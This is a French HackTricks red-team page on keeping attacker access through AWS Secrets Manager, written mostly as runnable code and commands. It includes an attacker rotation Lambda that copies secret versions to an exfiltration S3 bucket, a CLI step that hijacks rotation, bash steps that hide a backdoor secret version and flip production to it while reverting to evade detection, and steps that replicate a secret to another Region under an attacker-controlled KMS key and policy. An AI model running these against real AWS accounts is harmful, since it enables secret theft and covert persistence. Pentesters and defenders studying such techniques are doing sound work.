AWS - Secrets Manager Persistence

Reading time: 10 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Secrets Manager

Pour plus d'informations, voir :

AWS - Secrets Manager Enum

Via Resource Policies

Il est possible d'accorder l'accÚs aux secrets à des comptes externes via des resource policies. Consultez la Secrets Manager Privesc page pour plus d'informations. Notez que pour accéder à un secret, le compte externe aura également besoin d'accéder à la clé KMS qui chiffre le secret.

Via Secrets Rotate Lambda

Pour faire la rotation des secrets automatiquement, une Lambda configurĂ©e est appelĂ©e. Si un attaquant pouvait modifier le code, il pourrait directement exfiltrer le nouveau secret vers lui-mĂȘme.

Voici Ă  quoi pourrait ressembler le code d'une Lambda pour une telle action :

python
import boto3

def rotate_secrets(event, context):
# Create a Secrets Manager client
client = boto3.client('secretsmanager')

# Retrieve the current secret value
secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']

# Rotate the secret by updating its value
new_secret_value = rotate_secret(secret_value)
client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)

def rotate_secret(secret_value):
# Perform the rotation logic here, e.g., generate a new password

# Example: Generate a new password
new_secret_value = generate_password()

return new_secret_value

def generate_password():
# Example: Generate a random password using the secrets module
import secrets
import string
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
return password

Remplacer la rotation Lambda par une attacker-controlled function via RotateSecret

Abuse secretsmanager:RotateSecret pour réaffecter un secret vers une attacker-controlled rotation Lambda et déclencher une rotation immédiate. La fonction malveillante exfiltrates les versions du secret (AWSCURRENT/AWSPENDING) pendant les étapes de rotation (createSecret/setSecret/testSecret/finishSecret) vers un attacker sink (par ex., S3 ou HTTP externe).

  • PrĂ©requis

  • Permissions: secretsmanager:RotateSecret, lambda:InvokeFunction sur la attacker Lambda, iam:CreateRole/PassRole/PutRolePolicy (ou AttachRolePolicy) pour provisionner le rĂŽle d'exĂ©cution Lambda avec secretsmanager:GetSecretValue et de prĂ©fĂ©rence secretsmanager:PutSecretValue, secretsmanager:UpdateSecretVersionStage (pour que la rotation continue de fonctionner), KMS kms:Decrypt pour la clĂ© KMS du secret, et s3:PutObject (ou egress sortant) pour l'exfiltration.

  • Un SecretId cible (SecretId) avec rotation activĂ©e ou la capacitĂ© d'activer la rotation.

  • Impact

  • The attacker obtient la(les) valeur(s) du secret sans modifier le code de rotation lĂ©gitime. Seule la configuration de rotation est modifiĂ©e pour pointer vers la attacker Lambda. Si cela n'est pas dĂ©tectĂ©, les rotations programmĂ©es futures continueront Ă  invoquer la fonction de l'attacker.

  • Étapes d'attaque (CLI)

  1. Préparer attacker sink et le rÎle Lambda
  • CrĂ©er un bucket S3 pour l'exfiltration et un rĂŽle d'exĂ©cution trusted by Lambda avec les permissions pour lire le secret et Ă©crire dans S3 (plus logs/KMS si nĂ©cessaire).
  1. Déployer la attacker Lambda qui à chaque étape de rotation récupÚre les valeur(s) du secret et les écrit dans S3. Une logique minimale de rotation peut simplement copier AWSCURRENT vers AWSPENDING et la promouvoir dans finishSecret pour garder le service opérationnel.
  2. Réaffecter la rotation et déclencher
  • aws secretsmanager rotate-secret --secret-id <SECRET_ARN> --rotation-lambda-arn <ATTACKER_LAMBDA_ARN> --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately
  1. Vérifier l'exfiltration en listant le préfixe S3 pour ce secret et en inspectant les artefacts JSON.
  2. (Optionnel) Restaurer la rotation Lambda originale pour réduire la détection.
  • Exemple attacker Lambda (Python) exfiltrating vers S3
  • Environnement: EXFIL_BUCKET=<bucket>
  • Handler: lambda_function.lambda_handler
python
import boto3, json, os, base64, datetime
s3 = boto3.client('s3')
sm = boto3.client('secretsmanager')
BUCKET = os.environ['EXFIL_BUCKET']

def write_s3(key, data):
s3.put_object(Bucket=BUCKET, Key=key, Body=json.dumps(data).encode('utf-8'), ContentType='application/json')

def lambda_handler(event, context):
sid, token, step = event['SecretId'], event['ClientRequestToken'], event['Step']
# Exfil both stages best-effort
def getv(**kw):
try:
r = sm.get_secret_value(**kw)
return {'SecretString': r.get('SecretString')} if 'SecretString' in r else {'SecretBinary': base64.b64encode(r['SecretBinary']).decode('utf-8')}
except Exception as e:
return {'error': str(e)}
current = getv(SecretId=sid, VersionStage='AWSCURRENT')
pending = getv(SecretId=sid, VersionStage='AWSPENDING')
key = f"{sid.replace(':','_')}/{step}/{token}.json"
write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ'), 'step': step, 'secret_id': sid, 'token': token, 'current': current, 'pending': pending})
# Minimal rotation (optional): copy current->pending and promote in finishSecret
# (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage)

Version Stage Hijacking for Covert Persistence (custom stage + fast AWSCURRENT flip)

Abuse Secrets Manager version staging labels pour implanter une version de secret contrĂŽlĂ©e par l'attaquant et la garder cachĂ©e sous un stage personnalisĂ© (par exemple, ATTACKER) tandis que la production continue d'utiliser l'original AWSCURRENT. À tout moment, basculer AWSCURRENT vers la version de l'attaquant pour empoisonner les workloads dĂ©pendants, puis le restaurer pour minimiser la dĂ©tection. Cela fournit une persistence backdoor discrĂšte et une manipulation rapide au moment de l'utilisation sans changer le nom du secret ni la config de rotation.

  • Exigences

  • Autorisations: secretsmanager:PutSecretValue, secretsmanager:UpdateSecretVersionStage, secretsmanager:DescribeSecret, secretsmanager:ListSecretVersionIds, secretsmanager:GetSecretValue (pour vĂ©rification)

  • ID du secret cible dans la RĂ©gion.

  • Impact

  • Maintenir une version cachĂ©e et contrĂŽlĂ©e par l'attaquant d'un secret et basculer atomiquement AWSCURRENT vers celle-ci Ă  la demande, influençant tout consommateur rĂ©solvant le mĂȘme nom de secret. La bascule et le revert rapide rĂ©duisent les chances de dĂ©tection tout en permettant une compromission au moment de l'utilisation.

  • Étapes de l'attaque (CLI)

  • PrĂ©paration

  • export SECRET_ID=<target secret id or arn>

Commandes CLI
bash
# 1) Capture current production version id (the one holding AWSCURRENT)
CUR=$(aws secretsmanager list-secret-version-ids \
--secret-id "$SECRET_ID" \
--query "Versions[?contains(VersionStages, AWSCURRENT)].VersionId | [0]" \
--output text)

# 2) Create attacker version with known value (this will temporarily move AWSCURRENT)
BACKTOK=$(uuidgen)
aws secretsmanager put-secret-value \
--secret-id "$SECRET_ID" \
--client-request-token "$BACKTOK" \
--secret-string {backdoor:hunter2!}

# 3) Restore production and hide attacker version under custom stage
aws secretsmanager update-secret-version-stage \
--secret-id "$SECRET_ID" \
--version-stage AWSCURRENT \
--move-to-version-id "$CUR" \
--remove-from-version-id "$BACKTOK"

aws secretsmanager update-secret-version-stage \
--secret-id "$SECRET_ID" \
--version-stage ATTACKER \
--move-to-version-id "$BACKTOK"

# Verify stages
aws secretsmanager list-secret-version-ids --secret-id "$SECRET_ID" --include-deprecated

# 4) On-demand flip to the attacker’s value and revert quickly
aws secretsmanager update-secret-version-stage \
--secret-id "$SECRET_ID" \
--version-stage AWSCURRENT \
--move-to-version-id "$BACKTOK" \
--remove-from-version-id "$CUR"

# Validate served plaintext now equals the attacker payload
aws secretsmanager get-secret-value --secret-id "$SECRET_ID" --query SecretString --output text

# Revert to reduce detection
aws secretsmanager update-secret-version-stage \
--secret-id "$SECRET_ID" \
--version-stage AWSCURRENT \
--move-to-version-id "$CUR" \
--remove-from-version-id "$BACKTOK"
  • Remarques
  • Lorsque vous fournissez --client-request-token, Secrets Manager l'utilise comme le VersionId. Ajouter une nouvelle version sans dĂ©finir explicitement --version-stages dĂ©place AWSCURRENT vers la nouvelle version par dĂ©faut, et marque la prĂ©cĂ©dente comme AWSPREVIOUS.

Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy)

Exploitez la réplication multi-Region de Secrets Manager pour créer une réplique d'un secret cible dans une Region moins surveillée, la chiffrer avec une clé KMS contrÎlée par l'attaquant dans cette Region, puis promouvoir la réplique en secret autonome et lui attacher une resource policy permissive accordant à l'attaquant l'accÚs en lecture. Le secret original dans la Region primaire reste inchangé, offrant un accÚs persistant et furtif à la valeur du secret via la réplique promue tout en contournant les contraintes KMS/policy sur le primaire.

  • PrĂ©requis

  • Permissions : secretsmanager:ReplicateSecretToRegions, secretsmanager:StopReplicationToReplica, secretsmanager:PutResourcePolicy, secretsmanager:GetResourcePolicy, secretsmanager:DescribeSecret.

  • Dans la Region de la rĂ©plique : kms:CreateKey, kms:CreateAlias, kms:CreateGrant (ou kms:PutKeyPolicy) pour permettre au principal attaquant kms:Decrypt.

  • Un principal attaquant (user/role) devant recevoir l'accĂšs en lecture au secret promu.

  • Impact

  • Chemin d'accĂšs persistant inter-Region Ă  la valeur du secret via une rĂ©plique autonome protĂ©gĂ©e par un CMK KMS contrĂŽlĂ© par l'attaquant et une resource policy permissive. Le secret primaire dans la Region d'origine reste inchangĂ©.

  • Attaque (CLI)

  • Variables

bash
export R1=<primary-region>   # e.g., us-east-1
export R2=<replica-region>   # e.g., us-west-2
export SECRET_ID=<secret name or ARN in R1>
export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
export ATTACKER_ARN=<arn:aws:iam::<ACCOUNT_ID>:user/<attacker> or role>
  1. Créer une clé KMS contrÎlée par l'attaquant dans la région répliquée
bash
cat > /tmp/kms_policy.json <<'JSON'
{"Version":"2012-10-17","Statement":[
{"Sid":"EnableRoot","Effect":"Allow","Principal":{"AWS":"arn:aws:iam::${ACCOUNT_ID}:root"},"Action":"kms:*","Resource":"*"}
]}
JSON
KMS_KEY_ID=$(aws kms create-key --region "$R2" --description "Attacker CMK for replica" --policy file:///tmp/kms_policy.json \
--query KeyMetadata.KeyId --output text)
aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-id "$KMS_KEY_ID"
# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal)
aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey
  1. Répliquer le secret vers R2 en utilisant la clé KMS de l'attaquant
bash
aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \
--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret
aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" | jq '.ReplicationStatus'
  1. Promouvoir la réplique en tant qu'instance autonome dans R2
bash
# Use the secret name (same across Regions)
NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" --query Name --output text)
aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME"
aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME"
  1. Attacher une politique de ressource permissive au secret autonome dans R2
bash
cat > /tmp/replica_policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Sid":"AttackerRead","Effect":"Allow","Principal":{"AWS":"${ATTACKER_ARN}"},"Action":["secretsmanager:GetSecretValue"],"Resource":"*"}]}
JSON
aws secretsmanager put-resource-policy --region "$R2" --secret-id "$NAME" --resource-policy file:///tmp/replica_policy.json --block-public-policy
aws secretsmanager get-resource-policy --region "$R2" --secret-id "$NAME"
  1. Lire le secret de l'attacker principal dans R2
bash
# Configure attacker credentials and read
aws secretsmanager get-secret-value --region "$R2" --secret-id "$NAME" --query SecretString --output text

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks